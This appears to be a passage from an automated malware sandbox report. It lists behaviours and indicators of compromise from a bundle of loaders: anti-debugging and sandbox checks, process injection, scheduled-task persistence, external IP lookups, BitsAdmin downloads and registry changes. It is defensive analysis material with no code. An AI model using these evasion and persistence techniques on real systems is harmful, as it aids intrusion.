\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA u3cRqTdVGtXPgh8ADvnvPDLI.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 3HRBsEjn8fsRzwUB_ap1rMWy.tmp Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA mshta.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA ejmyMi7AtBevIn8DRICZl6av.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA mshta.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA G_qlYSMI3UpBnqt1rgDYiWfA.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA tJWpYBfBdpnOujp6qGKB_GWA.tmp Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA mshta.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 7933448.exe -
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
installer.exemsiexec.exedescription ioc process File opened (read-only) \??\A: installer.exe File opened (read-only) \??\H: installer.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\E: installer.exe File opened (read-only) \??\M: installer.exe File opened (read-only) \??\U: installer.exe File opened (read-only) \??\V: installer.exe File opened (read-only) \??\Y: installer.exe File opened (read-only) \??\Z: installer.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\J: installer.exe File opened (read-only) \??\N: installer.exe File opened (read-only) \??\O: installer.exe File opened (read-only) \??\P: installer.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\F: installer.exe File opened (read-only) \??\R: installer.exe File opened (read-only) \??\X: installer.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\B: installer.exe File opened (read-only) \??\K: installer.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\I: installer.exe File opened (read-only) \??\L: installer.exe File opened (read-only) \??\T: installer.exe File opened (read-only) \??\W: installer.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\G: installer.exe File opened (read-only) \??\Q: installer.exe File opened (read-only) \??\S: installer.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\R: msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 14 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 275 ipinfo.io 277 ipinfo.io 93 freegeoip.app 103 ipinfo.io 119 ip-api.com 97 freegeoip.app 100 freegeoip.app 104 ipinfo.io 105 ipinfo.io 294 ipinfo.io 386 ipinfo.io 96 freegeoip.app 385 ipinfo.io 406 ipinfo.io -
Drops file in System32 directory 22 IoCs
Processes:
svchost.exesvchost.exedescription ioc process File opened for modification C:\Windows\System32\Tasks\OneDrive Standalone Update Task-S-1-5-21-941723256-3451054534-3089625102-1000 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\686AD3B12FDB68487AAEA92D0A823EB3 svchost.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #2 svchost.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #3 svchost.exe File opened for modification C:\Windows\System32\Tasks\PowerControl LG svchost.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #4 svchost.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #5 svchost.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #6 svchost.exe File opened for modification C:\Windows\System32\Tasks\services64 svchost.exe File opened for modification C:\Windows\System32\Tasks\Firefox Default Browser Agent B2893002D62B278E svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\686AD3B12FDB68487AAEA92D0A823EB3 svchost.exe File opened for modification C:\Windows\System32\Tasks\PowerControl HR svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27 svchost.exe File opened for modification C:\Windows\System32\Tasks\User_Feed_Synchronization-{D150A421-63CD-46E4-ADDB-794A26A5C800} svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 svchost.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #1 svchost.exe File opened for modification C:\Windows\System32\Tasks\AdvancedUpdater svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\82CB34DD3343FE727DF8890D352E0D8F svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\82CB34DD3343FE727DF8890D352E0D8F svchost.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 24 IoCs
Processes:
3482271.exe7933448.exe5338000.exe4151522.exeCXGvGSzadJsTx1qTxImyPp7A.exeEfYzouvnW3iAXodDye6sK70I.exeCalculator.exe8QS5QO54Pu7CmqPq1QMNVpdP.exelierne.exeu3cRqTdVGtXPgh8ADvnvPDLI.exepid process 1556 3482271.exe 1488 7933448.exe 5284 5338000.exe 6064 4151522.exe 6184 CXGvGSzadJsTx1qTxImyPp7A.exe 6684 EfYzouvnW3iAXodDye6sK70I.exe 6796 Calculator.exe 6604 8QS5QO54Pu7CmqPq1QMNVpdP.exe 5468 lierne.exe 5468 lierne.exe 5468 lierne.exe 5468 lierne.exe 5468 lierne.exe 5468 lierne.exe 5468 lierne.exe 5468 lierne.exe 5468 lierne.exe 5468 lierne.exe 5468 lierne.exe 5468 lierne.exe 5468 lierne.exe 5468 lierne.exe 5468 lierne.exe 6592 u3cRqTdVGtXPgh8ADvnvPDLI.exe -
Suspicious use of SetThreadContext 14 IoCs
Processes:
Mon1727c156c4abcec.exeMon174a6c5f1664f.exeMon1708beae021a5ff.exesvchost.exei9iBfSFpiJLNYdkx4pTJj13W.exeMiFnSOOP3jL2bVNTqswI6fwY.exeG_qlYSMI3UpBnqt1rgDYiWfA.exeoB2x5G23PqGLN_dcI6m33Hqc.exe13DXiLTMa1hLpSFPz4hnS78R.exek0TXFOp3H5JxB39Nd0AgP7Fb.execontrol.exelierne.execonhost.exedescription pid process target process PID 3136 set thread context of 2080 3136 Mon1727c156c4abcec.exe Mon1727c156c4abcec.exe PID 4360 set thread context of 1480 4360 Mon174a6c5f1664f.exe Mon174a6c5f1664f.exe PID 4392 set thread context of 5884 4392 Mon1708beae021a5ff.exe mspaint.exe PID 5060 set thread context of 6952 5060 svchost.exe svchost.exe PID 1372 set thread context of 2604 1372 i9iBfSFpiJLNYdkx4pTJj13W.exe Explorer.EXE PID 6492 set thread context of 2604 6492 MiFnSOOP3jL2bVNTqswI6fwY.exe Explorer.EXE PID 6856 set thread context of 1548 6856 G_qlYSMI3UpBnqt1rgDYiWfA.exe AppLaunch.exe PID 6948 set thread context of 5048 6948 oB2x5G23PqGLN_dcI6m33Hqc.exe oB2x5G23PqGLN_dcI6m33Hqc.exe PID 5912 set thread context of 7272 5912 13DXiLTMa1hLpSFPz4hnS78R.exe 13DXiLTMa1hLpSFPz4hnS78R.exe PID 6548 set thread context of 7396 6548 k0TXFOp3H5JxB39Nd0AgP7Fb.exe k0TXFOp3H5JxB39Nd0AgP7Fb.exe PID 5528 set thread context of 2604 5528 control.exe Explorer.EXE PID 5468 set thread context of 2556 5468 lierne.exe regsvcs.exe PID 6712 set thread context of 2252 6712 conhost.exe explorer.exe PID 5528 set thread context of 2252 5528 control.exe explorer.exe -
Drops file in Program Files directory 64 IoCs
Processes:
autosubplayer.exeautosubplayer.exezhanglijuan-game.exeexplorer.exejg1_1faf.exewkXv2fTh4gd_QhZD3v2cNXAC.exedescription ioc process File created C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\stream_window.html autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\modules\simplexml.luac autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libaiff_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\librawaud_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\gui\libqt_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lighteningplayer.ico autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\hrtfs\dodeca_and_7channel_3DSL_HRTF.sofa autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libnfs_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\playlist\anevia_streams.luac autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libavi_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\control\libwin_msg_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libnoseek_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\demux\librawaud_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\meta_engine\libtaglib_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\mobile_view.html autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\images\Audio-48.png autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\images\Folder-48.png autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\create_stream.html autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\sd\icecast.luac autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\access\libaccess_concat_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\access\libidummy_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\d3d11\libdirect3d11_filters_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\librawdv_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\data_load.exe autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libdemuxdump_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\access\libaccess_realrtsp_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libau_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\demux\libsubtitle_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-icons_222222_256x240.png autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\http\vlm_export.html autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\text_renderer\libtdummy_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\FarLabUninstaller\is-93LKS.tmp zhanglijuan-game.exe File created C:\Program Files (x86)\Company\NewProduct\d.jfm explorer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\youtube.luac autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libaccess_mms_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libvdr_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\access\libftp_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\audio_output\libadummy_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\d jg1_1faf.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-icons_ef8c08_256x240.png autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\playlist\cue.luac autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\audio_output\libamem_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libxa_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\d.INTEG.RAW jg1_1faf.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libaccess_realrtsp_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\demux\librawdv_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\demux\libtta_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\d.INTEG.RAW explorer.exe File created C:\Program Files (x86)\lighteningplayer\lua\intf\modules\httprequests.luac autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\sd\jamendo.luac autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\intf\dummy.luac autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\demux\libreal_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\mux\libmux_asf_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_mpegvideo_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\jamendo.luac autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_100_eeeeee_1x100.png autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libcaf_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\demux\libps_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\sd\jamendo.luac autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\access\libdvdnav_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe wkXv2fTh4gd_QhZD3v2cNXAC.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libsftp_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\playlist\appletrailers.luac autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libimage_plugin.dll autosubplayer.exe -
Drops file in Windows directory 44 IoCs
Processes:
MicrosoftEdgeCP.exeMicrosoftEdgeCP.exemsiexec.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeExplorer.EXEdescription ioc process File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdgeCP.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdgeCP.exe File opened for modification C:\Windows\Installer\MSIAF4B.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI476.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI1214.tmp msiexec.exe File opened for modification C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\logo.exe msiexec.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdge.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdgeCP.exe File opened for modification C:\Windows\Installer\MSIB392.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIBAE8.tmp msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSI19C8.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIB17E.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI1C4B.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI1D36.tmp msiexec.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdgeCP.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File created C:\Windows\Installer\f7c9cfd.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI247B.tmp msiexec.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File created C:\Windows\Installer\f7c9cfa.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIA528.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIB578.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIFF62.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI109.tmp msiexec.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdge.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdgeCP.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri Explorer.EXE File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSIB8F3.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIFB39.tmp msiexec.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdge.exe File opened for modification C:\Windows\Installer\f7c9cfa.msi msiexec.exe File created C:\Windows\Installer\SourceHash{C845414C-903C-4218-9DE7-132AB97FDF62} msiexec.exe File opened for modification C:\Windows\Installer\MSI36B.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIFD8C.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSI1774.tmp msiexec.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File opened for modification C:\Windows\Installer\MSI186F.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI1B30.tmp msiexec.exe File created C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\logo.exe msiexec.exe File created C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\SystemFoldermsiexec.exe msiexec.exe File opened for modification C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\SystemFoldermsiexec.exe msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 14 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 3680 1376 WerFault.exe Mon17bffc2992eb3d.exe 1272 1376 WerFault.exe Mon17bffc2992eb3d.exe 4204 1376 WerFault.exe Mon17bffc2992eb3d.exe 3548 1376 WerFault.exe Mon17bffc2992eb3d.exe 5968 4252 WerFault.exe setup.exe 1964 4392 WerFault.exe Mon1708beae021a5ff.exe 1368 4252 WerFault.exe setup.exe 5724 1376 WerFault.exe Mon17bffc2992eb3d.exe 5880 4252 WerFault.exe setup.exe 5844 2648 WerFault.exe chrome3.exe 5612 4252 WerFault.exe setup.exe 5548 1376 WerFault.exe Mon17bffc2992eb3d.exe 5672 1376 WerFault.exe Mon17bffc2992eb3d.exe 5296 4252 WerFault.exe setup.exe -
Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
mbqtmEoq2yLOhYkBnJknXxjC.exepPg9gR09BXK6mbu2BNNejH5P.exetvssfjcMon17a0d8ec302e.exeUu8ktdPLBFcY1iPXMPwESBiH.exetvssfjcdescription ioc process Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI mbqtmEoq2yLOhYkBnJknXxjC.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI pPg9gR09BXK6mbu2BNNejH5P.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI tvssfjc Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Mon17a0d8ec302e.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI pPg9gR09BXK6mbu2BNNejH5P.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI pPg9gR09BXK6mbu2BNNejH5P.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Uu8ktdPLBFcY1iPXMPwESBiH.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI tvssfjc Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI mbqtmEoq2yLOhYkBnJknXxjC.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI mbqtmEoq2yLOhYkBnJknXxjC.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Uu8ktdPLBFcY1iPXMPwESBiH.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI tvssfjc Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Mon17a0d8ec302e.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Uu8ktdPLBFcY1iPXMPwESBiH.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI tvssfjc Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI tvssfjc Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI tvssfjc Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Mon17a0d8ec302e.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
svchost.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe -
Creates scheduled task(s) 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 7380 schtasks.exe 6732 schtasks.exe 1988 schtasks.exe 7224 schtasks.exe 8992 schtasks.exe -
Download via BitsAdmin 1 TTPs 2 IoCs
-
Kills process with taskkill 10 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 4936 taskkill.exe 6508 taskkill.exe 6136 taskkill.exe 6120 taskkill.exe 5952 taskkill.exe 6212 taskkill.exe 7064 taskkill.exe 4744 taskkill.exe 4040 taskkill.exe 2032 taskkill.exe -
Processes:
cmd.exebrowser_broker.exeMicrosoftEdgeCP.execontrol.exeMicrosoftEdge.exeOneDriveSetup.exemshta.exebrowser_broker.exebrowser_broker.exedescription ioc process Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\International\CpMRU\Cache = a403000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 cmd.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\International\CpMRU\Size = "10" cmd.exe Key created \Registry\User\S-1-5-21-941723256-3451054534-3089625102-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2 control.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION OneDriveSetup.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\International\CpMRU\InitHits = "100" cmd.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\International\CpMRU\Enable = "1" cmd.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\International\CpMRU\Factor = "20" cmd.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\International\CpMRU\Cache = a403000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 mshta.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\OneDrive.exe = "11000" OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\International\CpMRU cmd.exe -
Modifies data under HKEY_USERS 19 IoCs
Processes:
svchost.exemsiexec.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" svchost.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\16\52C64B7E msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\Version = "7" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" svchost.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie svchost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing svchost.exe -
Modifies registry class 64 IoCs
Processes:
